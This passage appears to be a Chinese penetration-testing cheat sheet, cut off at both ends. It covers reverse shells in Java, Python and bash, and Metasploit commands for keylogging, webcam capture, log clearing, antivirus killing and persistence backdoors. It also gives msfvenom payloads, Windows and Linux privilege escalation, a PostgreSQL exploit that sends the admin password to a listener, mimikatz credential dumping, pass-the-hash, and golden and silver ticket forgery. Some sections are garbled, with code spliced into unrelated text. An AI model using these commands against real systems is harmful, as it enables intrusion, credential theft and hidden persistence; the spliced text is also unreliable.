    通过POST型fun参数调用system函数,通过POST型arg参数传入id命令,执行了system('id')返回当前用户信息

  5. create_function函数

    根据传递的参数创建匿名函数 并为该匿名函数返回唯一名称

    string create_function(string $args,string $code)

    示例代码

    create_function函数会创建虚拟函数,转变成以下代码

    当传入id的值为1;}phpinfo();public static void main(String[] args) throws Exception {// TODO Auto-generated method stub Runtime r = Runtime.getRuntime(); String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.8.13/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor(); }}编译:javac Revs.java java Revs

    Python

    python -c "import os,Socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.8.13',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

    KALI使用

    这里介绍KALI的一些工具的使用

    proxychains4

    该工具用于KALI挂代理

    1. 使用前输入:

      vi /etc/proxychains4.conf        #查看修改配置
    2. dynamic_chain前的#去掉

    3. strict_chain前加上#

    4. 在最后面加上代理信息

    使用:在命令前加上proxychains4即可,如

    proxychains4 nmap -sT -Pn 192.168.22.0/24

    MSF攻击

    命令
    命令含义
    chcp 65001解决乱码问题
    ps查看目标机进程
    kill 2312关闭pid为2312的进程
    run vnc监控目标机桌面
    screenshot截取目标机屏幕
    screenshare实时观看目标机屏幕
    shell进入目标机的命令终端
    webcam_list列举摄像头
    webcam_snap通过远程连接目标系统的摄像头
    clearev清除日志
    getsystem提升权限
    hashdump获取密码hash值
    keyscan_start打开记录键盘
    keyscan_dump记录键盘
    keyscan_stop关闭记录键盘
    uictl disable keyboard/mouse禁用键盘/鼠标
    uictl enable keyboard/mouse启用键盘/鼠标制权
    show targets查看该模块适用系统
    show options查看设置
    getsystem提权
    upload a.exe c:/上传文件到c:/
    download c:\a.exe /root/下载文件到root目录
    run killav关闭对方的杀毒软件
    net user admin 123456 /add新建一个用户名admin 密码123456的用户
    net user admin$ 123456 /add创建一个隐藏用户
    net localgroug administrators admin /add加入管理员权限
    run persistence -X -i 5 -p 8888 -r 192.168.1.11生成一个持续性后门
    explorer.exe ::{645FF040-5081-101B-9F08-00AA002F954E}打开回收站
    `dir c:\ d:\ e:\ /s /bfind “passWord.txt”`
    linux
    反向:
    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.36.129 LPORT=1111 -f elf >t1.elfuse exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset LHOST 192.168.36.129set LPORT 1111
    正向:
    msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > 2.elfuse exploit/multi/handlerset payload linux/x64/meterpreter/bind_tcpset rhost 192.168.22.128set LPORT 3333exploit
    window
    反向
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.121 lport=5000 -f exe -o /root/payload.exeuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.1.121 set lport 5000exploit

    正向:

    msfvenom -p windows/meterpreter/bind_tcp lport=5000 -f exe -o /home/css/桌面/payload.exeuse exploit/multi/handlerset payload windows/meterpreter/bind_tcpset rhost 192.168.22.128set lport 5000exploit

    权限提升

    在使用渗透攻击后若是能成功以低权限进入服务器后,将权限拥有范围提升至管理员甚至是系统权限的攻击方法。

    通常网站是以低权限运行,以此来防止受到入侵后入侵者对服务器进行更大范围攻击。

    权限提升的对象分为数据库、window、llinux,下面详细介绍权限提升方法

    window

    信息收集

    权限划分

    Windows中权限指的是不同账户文件、文件夹、注册表等的访问能力。一般我们常用的权限分为普通账户权限、管理员账户权限和system账户权限。

    普通账户权限

    优点:

    1.权限最小化原则,确保用户资源得到最大保障;2.普通权限程序支持任意账户登录的开机自启动;

    缺点:

    1. 启动以管理员权限启动的程序时,会弹出用户账户控制(UAC)弹窗;2. 无法访问服务列表,判断服务程序有没有启动;3. 无法修改或删除Program Files等管理员权限路径下的文件,仅能查看;4. 程序无法删掉以管理员权限运行的进程;
    管理员权限

    优点:

    1. 可以访问服务列表,运行服务程序;2. 可正常修改或删除访问Program Files等管理员权限路径下所有文件;3. 可以启动普通权限运行的程序并赋予管理员权限;

    缺点:

    1. 普通账户登录的系统,无法开机自启动;2. 程序无法杀掉system权限运行的进程;
    system权限

    优点:

    1. 程序以windows服务托管运行,支持开机自启动;2. 可以以用户登录账户权限或system权限启动动外部程序;

    缺点:

    1. system权限获取桌面路径、appdata路径时,默认访问的是system相关路径,不是当前桌面路径;2. 程序不是在主线程中运行(很难理解)3. 弹出选择路径弹窗时,会报错或者无法选择桌面路径;4. 无法打开系统默认浏览器、文本编辑器等,因为程序运行权限超过系统登录账户范畴;
    信息收集命令

    以下命令可以对系统进行信息收集,由此来决定提权方式

    命令描述
    systeminfo打印系统信息
    whoami获得当前用户名
    whoami /priv当前账户权限
    ipconfig网络配置信息
    ipconfig /displaydns显示DNS缓存
    route print打印出路由表
    arp -a打印arp表
    hostname主机名
    net user列出用户
    net user UserName关于用户的信息
    net use \SMBPATH Pa$$w0rd /u:UserName连接SMB
    net localgroup列出所有组
    net localgroup GROUP关于指定组的信息
    net view \127.0.0.1会话打开到当前计算机
    net session开放给其他机器
    netsh firewall show config显示防火墙配置
    DRIVERQUERY列出安装的驱动
    tasklist /svc列出启动的服务
    dir /s foo在目录中搜索指定字符的项目
    dir /s too==bar同上
    net start列出启动的服务
    sc query列出所有服务
    sc qc ServiceName找到指定服务的路径
    shutdown /r /t 0立即重启
    type file.txt打印出内容
    icacls “C\Example”列出权限
    wmic qfe get Caption,Description,HotFixID,InstalledOn列出已安装的补丁
    (New-Object System.Net.WebClient).DownloadFile(“https://host/file”,“C:\LocalPath”)利用ps远程下载文件到本地
    accesschk.exe -qwsu “Group”修改对象(尝试Everyone,Authenticated Users和/或users)
    工具收集

    常用工具有:

    1. vulmap

      • windows和Linux都适用,Linux需要Python

      • 只能在powershell里面使用,对于Web提权,不能使用powershell

    2. Windows Exploit Suggester(主要在Web提权)

    3. windowsVulnScan

    4. wesng

    5. windows-kernel-exploits(该网站收集了windows相关的exp)

    系统溢出

    该提权方式是利用CVE-2020-0787本地提权漏洞,在目标服务器执行BitsArbitraryFileMoveExploit.exe文件

    流程:

    1. 创建一个账户
    2. 将该账户加入到Guests组
    3. 切换到该用户
    4. 执行CVE-2020-0787本地提权漏洞中的BitsArbitraryFileMoveExploit.exe文件

    at提权

    at命令提权主要针对win7win7之前的操作系统,

    win7之后的操作系统弃用该命令

    流程:

    1. at命令给系统添加一项作业,作业为在某一时间打开cmd
    2. 在到达时间后系统打开的cmd权限是system

    sc提权

    流程:

    1. 使用sc命令创建一个syscmd的服务,绑定binPath的路径(以cmd打开):

       sc Create syscmd binPath= "cmd /K start" type= own type= interact
    2. 启动这个服务:sc start syscmd,打开的cmd权限是system

    ps提权

    ps指pstools,是微软官方工具,是为windows提供的第三方工具库

    执行命令:

    psexec.exe -accepteula -s -i -d cmd.exe

    令牌窃取

    原理:进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。

    条件:windows2008和之前的系统

    流程:

    1. MSF已经连接入靶机,进入incognito模块查看当前服务器的令牌

      use incognito list_tokens -u
    2. 用以下命令进行令牌窃取

      impersonate_token "NT AUTHORITY\SYSTEM"     \\impersonate_token "机器名\\用户名"

    incognito模块能够查看的令牌类型:

    • Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
    • Impresonation Token:模拟令牌,它是非交互的会话。

    进程注入

    进程注入提权是本地提权方式的一种较为老的安全技术

    原理是注入进程的所有者实现权限共享机制

    这类技术主要利用在 windows2008 之前操作系统上

    pinjector进程注入工具(下载要VPN挂全局)

    • 针对win2008以前的操作系统
    • 能将pinjector注入到用户的进程里一起运行,进而同时拥有了对应的权限
    • 是一种比较隐蔽的手段,不会创建新的进程,很难发现,但是上传至目标主机时可能会报毒

    流程:

    1. 使用下面列出进程,列出的所有进程都可以利用(找system对应权限的进程)

      Pinjector.exe -l
    2. 使用下面命令进行进程注入

      pinjector.exe -p 456 cmd 5959   //456为PID,5959为监听端口
    3. 使用nc命令连接监听端口

      nc -nv 192.168.8.10 5959

    烂土豆

    烂土豆提权是MS16-075(CVE漏洞编号:CVE-2016-3225),是一个本地提权,只能针对本地用户,不能用于域用户。可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM” – Windows计算机上可用的最高特权级别

    原理:

    1. 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
    2. 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
    3. 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

    目标:

    1. 只针对本地用户
    2. 适用于window7、8、10,window server2008、2012

    流程:

    1. 将烂土豆上传到靶机

    2. msf执行烂土豆

      execute -cH -f ./potato.exe
    3. 令牌窃取(上面的步骤)

    DLL 劫持

    原理:Windows 程序(exe)启动的时候需要 DLL库的支持。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。

    dll 劫持提权需要特定软件应用的控制权限及启用配合

    通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下面的顺序进行搜索:

    1. 应用程序加载的目录;
    2. C:\Windows\System32;
    3. C:\Windows\System;
    4. C:\Windows;
    5. 当前工作目录 Current Working Directory,CWD;
    6. 在 PATH 环境变量的目录(先系统后用户)

    流程:

    1. 信息收集(服务器上的第三方程序的信息)
    2. 进程调试(分析这个程序在运行的时候调用了那些dll)
    3. 制作 dll 并上传(制作后门dll去替换原有的dll)
    4. 替换 dll
    5. 启动msf进行监听
    6. 启动应用
    7. 令牌窃取(结合上面的步骤)

    不带引号服务路径

    该提权方法多用于本地提权,能用于window server2012

    当Windows服务运行时,会发生以下两种情况的其中一种

    • 给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行
    • 服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例

    对如c:\program files (x86)\grasssoft\Macro expert\MacroService.exe这条路径,系统会按照以下顺序执行:

    c:\program.exec:\program files.exec:\program files (x86)\grasssoft\macro.exec:\program files (x86)\grasssoft\macro expert\MacroService.exe

    假如存在漏洞路径,我们可以将msf木马放到上面的路径下,然后重启机器,此时,反弹回来的shell,则是一个system的shell

    可以使用以下命令查看系统中错误配置的路径

    wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

    不安全的服务权限

    服务是操作系统的核心,经常以特权访问的方式运行,因为它们可能需要访问操作系统中受限的文件、注册表键等来执行任务。

    由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。

    该提权只适用于本地提权

    过程:

    1. 使用AccessChk工具查看当前用户是否可以修改某个服务目录中的文件

      accesschk.exe -uwcqv "Administrators" *
    2. 可以选择创建一个服务,也可以选择本来的服务,将该服务的binpath改为上传的木马文件路径

      sc config "AppReadiness" binpath="C:\shell.exe"
    3. 配合msf就能得到system权限

    linux

    信息收集

    可以用手动命令收集与自动脚本收集

    手动命令收集
    1. 获取内核,操作系统和设备信息

      • 所有版本uname -a
      • 内核版本信息uname -r
      • 系统主机名字uname -n
      • 内核架构 uname -m Linux
      • 内核信息 cat /proc/version
      • CPU信息 cat /proc/cpuinfo
      • 发布信息
        • cat /etc1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/7777 0>&1\n\n"
        • 修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。

          config set dir /var/spool/cron/crontabs/ config set dbfilename root save
        • 攻击机使用nc命令监听

          nc -nlvp 7777

    Postgre

    CVE-2018-1058

    影响版本:9.3-10

    原理:9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作

    流程:

    1. 普通用户连接到数据库

      psql --host 192.168.144.1 --username vulhub 输入口令:vulhub
    2. 注入危险代码

      CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$    select dblink_connect((select 'hostaddr=192.168.144.1 port=1234 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));     SELECT pg_catalog.array_to_string($1,$2);$$ LANGUAGE SQL VOLATILE;
    3. 开启nc命令进行监听,等待超级用户登录触发后门

      nc -lvvp 1234
    4. 超级用户的身份使用pg_dump命令对数据库进行备份

      pg_dump -U postgres -f evil.bak vulhub
    5. 收到管理员密码

    具体可以看该文章

    CVE-2019-9193

    影响版本:9.3-11.2

    原理:9.3增加一个COPY TO/FROM PROGRAM功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

    流程:

    1. 连接到postgres

      psql --host 192.168.204.136  --username postgres
    2. 执行如下语句,其中FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中

      DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'id';SELECT * FROM cmd_exec;

    内网渗透

    当通过前期的信息收集,进行渗透攻击与权限提升后成功拿到一台通向外网的服务器的权限后
    我们可以把这台服务器当作跳板,对内网里其他的主机进行渗透攻击

    工作组与域环境的区别:

    • 工作组中每台计算机地位平等,没有一台服务器集中管理
    • 域环境中有一台服务器作为域控制器DC管理域中所有计算机

    域用户和本地用户的区别:

    • 域用户:god/administrator
    • 本地用户:./administrator

    在域环境中只要能成功拿下DC的权限,就能控制整个域,下面介绍方法

    信息收集

    主要收集当前服务器的计算机基本信息,为后续判断服务器在域环境中的角色、网络环境提供信息

    命令

    基本信息
    • systeminfo 详细信息
    • net start 启动服务
    • tasklist 进程列表
    • schtasks 计划任务
    网络信息
    • ipconfig /all 判断存在域-dns
    • net view /domain 判断存在域
    • net time /domain 判断主域
    • netstat -ano 当前网络端口开放
    • nslookup 域名 追踪来源地址
    用户信息

    系统默认常见用户身份:

    • Domain Admins:域管理员(默认对域控制器有完全控制权)
    • Domain Computers:域内机器
    • Domain Controllers:域控制器
    • Domain Guest:域访客,权限低
    • Domain Users:域用户
    • Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)

    用户收集:

    • whoami /all 用户权限
    • net config workstation 登录信息
    • net user 本地用户
    • net localgroup 本地用户组
    • net user /domain 获取域用户信息
    • net group /domain 获取域用户组信息
    • wmic useraccount get /all 涉及域用户详细信息
    • net group "Domain Admins" /domain 查询域管理员账户
    • net group "Enterprise Admins" /domain 查询管理员用户组
    • net group "Domain Controllers" /domain 查询域控制器

    工具

    mimikatz用于收集window各种密文,明文,口令等,具体命令看该文章

    mimipenguin用于转储当前 linux 桌面用户的登录密码

    LaZagne用于检索存储在本地计算机上的大量密码

    XenArmor的作用与LaZagne一样,但是功能更强大,浏览器、WiFi、FTP的密码都可以发现,但是需要付费购买

    nbtscan的作用与nmap相似,但是用于探测域内主机

    Nishang集成了框架、脚本和各种payload,是基于PowerShell渗透测试专用工具

    横向渗透

    横向渗透可以让被控制的主机横向渗透,拿下更多主机,下面介绍渗透其他主机的方法

    明文传递

    我们通过mimikatz的扫描获得了明文密码,就能使用明文密码去渗透其他主机,下面为能连接的方法

    IPC

    IPC(Internet Process Connection)是共享“命名管道”的资管,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管路计算机和查看计算机的共享资源时使用。

    建立 IPC 常见的错误代码

    • 5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
    • 51:网络问题,Windows 无法找到网络路径
    • 53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有
    • 防火墙等问题
    • 67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 IPC$
    • 1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
    • 1326:账号密码错误
    • 1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
    • 2242:用户密码过期,目标有账号策略,强制定期更改密码

    建立 IPC 失败的原因

    • 目标系统不是 NT 或以上的操作系统
    • 对方没有打开 IPC$共享
    • 对方未开启 139、445 端口,或者被防火墙屏蔽
    • 输出命令、账号密码有错误

    利用流程:

    1. 建立 IPC 链接到目标主机

      相关命令:net use \\server\ipc$"password" /user:username # 工作组net use \\server\ipc$"password" /user:domain\username #域内例子:net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator 
    2. 拷贝要执行的命令脚本到目标主机

      相关命令:dir \\xx.xx.xx.xx\C$\ # 查看文件列表copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPCnet view xx.xx.xx.xx # 查看对方共享例子:copy add.bat \\192.168.3.21\c$
    3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本(计划任务是以system执行)

      at用于windowserver2008和以前at \\192.168.3.21 12:15 c:\add.batschtasks用于windowserver2012和之后schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F运行 adduser 任务schtasks /run /s 192.168.3.32 /tn adduser
    4. 删除 IPC 链接(不让对方发现)

      schtasks /delete /s 192.168.3.32 /tn adduser /f

    明文HASH传递

    我们通过mimikatz的扫描获得了HASH密码,就能使用HASH密码去渗透其他主机,下面为能连接的方法

    atexec

    atexec是Impacket网络协议工具包中的一个工具

    下载地址:

    https://gitee.com/RichChigga/impacket-examples-windowshttps://github.com/SecureAuthCorp/impacket

    Impacket网络协议工具包详细介绍看该文章

    明文连接:

    atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"

    HASH连接:

    atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

    自带命令

    批量检测ip对应明文连接

    FOR /F %%i in (ips.txt) do net use \%i\ipc$ "admin!@#45" /user:administrator

    批量检测 IP 对应明文回显版

    FOR /F %i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%i whoami

    批量检测明文对应 IP回显版

    FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami

    批量检测HASH 对应 IP 回显版

    FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami

    HASH传递

    很多情况下使用工具获取明文密码是不允许的:

    • Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
    • Windows2012以下版本若安装KB2871997补丁,会导致无法获取明文密码

    Windows系统LM HashNTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash

    这个在mimikatz上可以发现有两个加密算法,一个是LM Hash,另外一个是NTLM Hash(基本只用关注这个)

    获取windows哈希密码的两个工具:Pwdump7QuarksPwdump

    Procdump

    Procdump是官方软件,可以用于获取目标主机的用户信息

    Mimikatz属于第三方软件,上传到目标主机有可能被杀毒软件查杀

    由于Procdump获取信息的文件不可读,所以可以使用本地的的Mimikatz打开Procdump获取的用户信息

    生成信息命令:

    procdump -accepteula -ma lsass.exe lsass.dmp

    Mimikatz导入文件并获取密码:

    sekurlsa::minidump lsass.dmp   #导入文件sekurlsa::logonPasswords full  #获取密码
    Hashcat

    Hashcat用于对密码进行hash破解能破解各种格式的密码文件,但是密码字典很大,kali自带

    官网:https://hashcat.net/hashcat/

    HashCat主要分为三个版本:Hashcat、oclHashcat-plus、oclHashcat-lite。

    这三个版本的主要区别

    • HashCat只支持CPU破解。
    • oclHashcat-plus支持使用GPU破解多个HASH,并且支持的算法高达77种。
    • oclHashcat-lite只支持使用GPU对单个HASH进行破解,支持的HASH种类仅有32种,但是对算法进行了优化,可以达到GPU破解的最高速度。

    如果只有单个密文进行破解的话,推荐使用oclHashCat-lite

    爆破命令:

    hashcat -a 0 -m 1000 hash file –force
    • a, --attack-mode=NUM 攻击模式,其值参考后面对参数。-a 0字典攻击,-a 1 组合攻击;-a 3掩码攻击。(这里是字典攻击)
    • -m 1000指向的是NTLM Hash哈希协议
    • hash 要破解的哈希字符串
    • file 字典的地址

    SMB服务

    SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web]连接和客户端与服务器之间的信息沟通。

    利用SMB服务来进行远程执行的前提是445端口开放

    psexec
    • psexecwindows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。
    • PsExec 也是一个轻型的 telnet 替代工具,它可以让我们无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。
    • 在微软官方Pstools工具包中,但是官方Pstools中的psexec只能明文连接,无法采用hash连接。
    • 如果需要hash连接,可以使用impacket工具包中的psexec,但是impacket非官方自带,容易被杀。

    psexec连接方式有2种

    1. 先建立IPC链接,再通过psexec明文或hash传递

      net use \\192.168.3.32\ipc$ "admin!@#45" /user:administratorpsexec \\192.168.3.32 -s cmd    # -s 以 System 权限运行
    2. psexec直接用明文账号密码连接

      命令格式:psexec \\192.168.3.21 -u(用户) administrator -p(密码) Admin12345 -s(系统权限) cmd(运行cmd)哈希值连接:将impacket工具包中的psexec复制到域内连接:psexec.exe -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
    smbexec

    smbexec在impacket工具包内,非官方自带,无需先ipc链接再明文或hash传递

    该工具操作简单,但是容易被杀毒软件杀

    命令:

    smbexec god/administrator:Admin12345@192.168.3.21smbexec god/administrator:Admin12345@192.168.3.21HASH连接:smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21

    WMI 服务

    WMI(Windows Management Instrumentation) 以服务名称winmgmt的形式运行,是通过 135 端口进行利用,支持用户名明文或者 hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

    自带 WMIC 明文传递,无回显

    wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"

    自带 cscript 明文传递,有回显(需要wmiexec.vbs文件不支持哈希

    cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

    使用impacket套件中的wmiexec明文或hash传递,有回显(复制到靶机操作)

    wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

    PTH、PTK、PTT传递

    对于 8.1/2012r2,安装补丁 kb2871997Win 7/2008r2/8/2012 等,可以使用 AES keys
    代替 NT hash 来实现 PTK 攻击(等于补丁导致不能进行哈希传递)

    KB2871997 补丁后的影响(该补丁打了后系统的内存不保存明文的密码)

    • PTH:没打补丁用户都可以连接,打了补丁只能 administrator(指靶机本地管理员,等于域用户和本地其他用户不能连接) 连接
    • PTK:打了补丁才能用户都可以连接,采用 AES256 连接

    KB22871997是否真的能防御PTH攻击?

    可以使用Ladon进行攻击(解压密码:k8gege.org)

    PTH传递

    PTH(pass the hash) 是利用LM(老版本哈希)或NTLM(新版本)的值进行的渗透测试

    PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM HashNTLM Hash访问远程主机或服务,而不用提供明文密码。

    如果禁用了NTLM认证,PsExec无法利用获得的NTLMhash进行远程连接,但是使用 mimikatz 还是可以攻击成功。

    PTT 与 PTH 的区别

    • PTT的Kerberos TGT ticket 会过期(默认为10小时)
    • PTH的NTLM hashes 只有在用户改变密码时才会改变。

    因此,TGT 票必须在其有效期内使用,或者可以续期更长的时间(7天)。

    利用流程:

    1. mimikatz获得LMNTLM

      sekurlsa::logonpasswords
    2. 使用NTLM值连接

      sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM 值
    PTK传递

    PTK(pass the key) 是利用ekeysAES256,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似PTH功能的渗透测试

    利用流程:

    1. mimikatz 获取 AES256

      sekurlsa::ekeys
    2. 用已获得的 AES256 值连接

      sekurlsa::pth /user:用户名 /domain:域名 /aes256:aes256 值
    PTT哈希票据传递

    PTT(pass the ticket)是利用的票据凭证TGT进行的渗透测试(票据与cookie类似)

    和加密算法不同的是,PTT采用的票据,使用Kerberos协议

    1. 客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用krbtgt 密码 hash 作为密钥),发送给 KDC(域控),KDC 对用户进行检测,成功之后创建 TGT(Ticket-Granting Ticket)KDC域控为客户机生成cookie
    2. TGT 进行加密签名返回给客户机器,只有域用户 krbtgt 才能取 kerberosTGT 数据(KDC域控返回的cookie只有域用户 krbtgt才能读取)
    3. 然后客户机将 TGT 发送给域控制器 KDC 请求 TGS(票证授权服务)票证,并且对 TGT 进行检测(域用户 krbtgt发送cookieKDC域控请求检测)
    4. 检测成功之后,将目标服务账户的 NTLM 以及 TGT 进行加密,将加密后的票据ST返回给客户机。(KDC域控检测没问题返回ST票据,并以后可以通过该票据建立通信,其中该票据只针对这一个服务)

    PTT攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos协议进行攻击的。

    攻击者从一台计算机上窃取 Kerberos 票证,并重新使用它来访问受感染环境中的另一台计算机。

    PTT 传递不需本地管理员权限,连接时主机名连接,基于漏洞、工具、本地票据 。

    有3种常见方法:MS14-068、Golden ticket,SILVER ticket

    MS14-068 基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据),其中 Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术。

    下面分别介绍

    MS14-068
    • MS14-068 是密钥分发中心KDC服务中的Windows漏洞。
    • 它允许经过身份验证的用户在其 Kerberos 票证TGT中插入任意的 PAC(表示所有用户权限的结构)。
    • 该漏洞位于 kdcsvc.dll 域控制器的密钥分发中心KDC中。
    • 普通用户可以通过呈现具有改变了 PACKerberos TGT 来获得票证,进而伪造票据获得管理员权限。

    MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁kb3011780

    攻击流程(用户属于域用户组):

    1. 查看当前用户的sid

      whoami/user
    2. 启用mimikatz,查看当前机器凭证

      kerberos::list
    3. 清空当前机器所有凭证(如果有域成员凭证会影响凭证伪造)

      kerberos::purgepowershell的klist也可以查看票据(powershell直接输入klist)
    4. 利用 ms14-068 生成 TGT 票据,票据为TGT_mary@god.org.ccache文件

      ms14-068.exe -u 域成员名@域名 -s 当前域用户的sid -d 域控制器地址 -p 域成员密码.\MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45(注意前面要加.\)
    5. mimikatz将票据注入内存

      mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
    6. 查看凭证列表中票据是否注入成功

      klist
    7. 漏洞利用

      dir \\192.168.3.21\c$

    也可以使用kekeo工具进行攻击

    攻击流程(与上面流程相似,从上面的第4步开始):

    1. 生成票据

      .\kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
    2. 导入票据

      kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
    3. 漏洞利用

      dir \\192.168.3.21\c$
    黄金票据

    Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session KeyTG

    Logon Session Key 并不会保存在 KDC 中,krbtgtNTLM Hash 又是固定的。

    所以只要得到 krbtgtNTLM Hash,就可以伪造 TGTLogon Session Key 来进入下一步 ClientTGS 的交互。

    而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

    **特点:**不需要与 AS 进行交互,需要用户 krbtgtHash

    攻击条件:

    • krbtgt用户的hash(就意味着你已经有域控制器权限了)
    • 域名称
    • 域的SID
    • 要伪造的用户名

    攻击流程:

    1. 启动mimikatz并提权

      privilege::debug
    2. 读取域与域用户信息

      lsadump::dcsync /domain:god.org /user:krbtgt
    3. 制作黄金票据

      kerberos::golden /admin:system /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-1000 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:ticket.kirbi
    4. 清除票据

      kerberos::purge 
    5. 将票据注入内存

      kerberos::ptt 票据地址 
    6. 查看票据

      kerberos::list
    7. 票据利用

      dir \owa.god.org\c$
    白银票据

    白银票据伪造的是 ST

    Kerberos 认证的第三步,Client 带着 STAuthenticator3 向 Server 上的某个服务进行请求。

    Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key

    通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。

    所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。

    白银票据这里只是对单一的服务进行授权,利用过程和黄金票据差不多,首先上域控制器KDC中,把机器的ntlm hash(rc4加密) 存储下来,然后在普通域用户机器进行伪造权限,进行PTT

    攻击流程:

    1. 启动mimikatz并提权

      privilege::debug
    2. 读取域与域用户信息

      sekurlsa::logonpasswords
    3. 制作白银票据

      kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-1000 /target:owa.god.org /service:cifs /rc4:105c2352f5e8a768ca560cd1950f69b2 /user:liukaifeng01 /ptt
    4. 清除票据

      kerberos::purge 
    5. 将票据注入内存

